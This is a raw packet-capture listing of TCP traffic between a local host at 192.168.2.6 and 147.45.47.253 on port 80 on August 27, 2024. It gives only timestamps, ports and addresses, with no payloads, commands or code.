Aug 27, 2024 20:12:07.018008947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018019915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018027067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018034935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018038988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018042088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018054008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018059969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018069029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018075943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018084049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018100977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018126011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018675089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018680096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018691063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018704891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018711090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018733978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018767118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018775940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018780947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018794060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018795967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018806934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018810987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018811941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018819094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018825054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018831968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018841982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018843889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018848896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018855095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018862009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018862963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018868923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018874884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018884897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018887043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018901110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018918037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018944979 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019516945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019525051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019536018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019541979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019551992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019557953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019563913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019576073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019582987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019587994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019618034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019629002 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019829035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019834995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019840956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019853115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019860029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019871950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019877911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.019877911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019890070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.019917011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.020102978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020117998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020123005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020134926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020147085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020153046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020158052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.020160913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.020174980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.020193100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.022686958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022732019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022738934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022749901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.022783995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.022938967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022945881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022958040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022964001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.022998095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023060083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023123026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023159027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023164988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023217916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023247004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023253918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023266077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023272038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023277998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023282051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023302078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023324013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023412943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023426056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023432970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023438931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023444891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023463011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023495913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023556948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023564100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023610115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023689032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023695946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023706913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023713112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023719072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023725033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023737907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023740053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023744106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.023760080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023783922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.023808956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.024063110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024068117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024079084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024085045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024090052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024096012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024101019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024112940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024115086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.024118900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024126053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024132967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024143934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024144888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.024149895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.024164915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.024192095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.103982925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104032040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104038000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104182959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104188919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104201078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104202986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104207039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104212999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104253054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104280949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104312897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104366064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104382038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104388952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104401112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104407072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104413033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104438066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104463100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104516983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104556084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104649067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104655027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104666948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104671955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104680061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104686975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104698896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104707003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.104712009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.104744911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105045080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105050087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105062008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105067015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105073929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105078936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105093956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105099916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105106115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105108023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105113983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105134964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105144978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105458975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105464935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105470896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105480909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105489016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105500937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105505943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105511904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105516911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105520010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105526924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105535984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105547905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.105561018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105581999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105596066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.105999947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106007099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106012106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106018066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106023073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106029987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106035948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106046915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106053114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106059074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106065035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106066942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.106070995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106076956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106084108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106096029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106101990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.106129885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.106700897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106707096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106718063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106723070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106734037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106741905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106762886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.106789112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.106947899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106954098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106966019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106971025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106977940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106987953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.106996059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.107003927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.107024908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.107043028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.194600105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.199716091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381567001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381699085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.381705046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381711960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381758928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.381886005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381891966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381896973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381901979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381917000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.381942034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.381973982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382046938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382052898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382057905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382064104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382093906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382127047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382205963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382211924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382222891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382229090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382235050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382239103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382251024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382256985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382257938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382267952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382282019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382298946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382317066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382620096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382627010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382632971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382637978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382643938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382649899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382657051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382673979 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382714033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382745028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382751942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382764101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382796049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382811069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.382899046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382905960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382910967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382915974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.382946968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383173943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383224010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383330107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383337021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383348942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383354902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383367062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383373976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383382082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383385897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383410931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383428097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383467913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383475065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383481026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383487940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383517981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.383603096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383610010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.383651018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384026051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384032011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384079933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384167910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384175062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384206057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384354115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384360075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384371996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384377956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384382963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384403944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384423018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384447098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384509087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384516001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384521961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384526968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384532928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384545088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384557009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384587049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384599924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384692907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384700060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384742022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384860039 CEST	80	49710	147.45.47.253	192.168.2.6
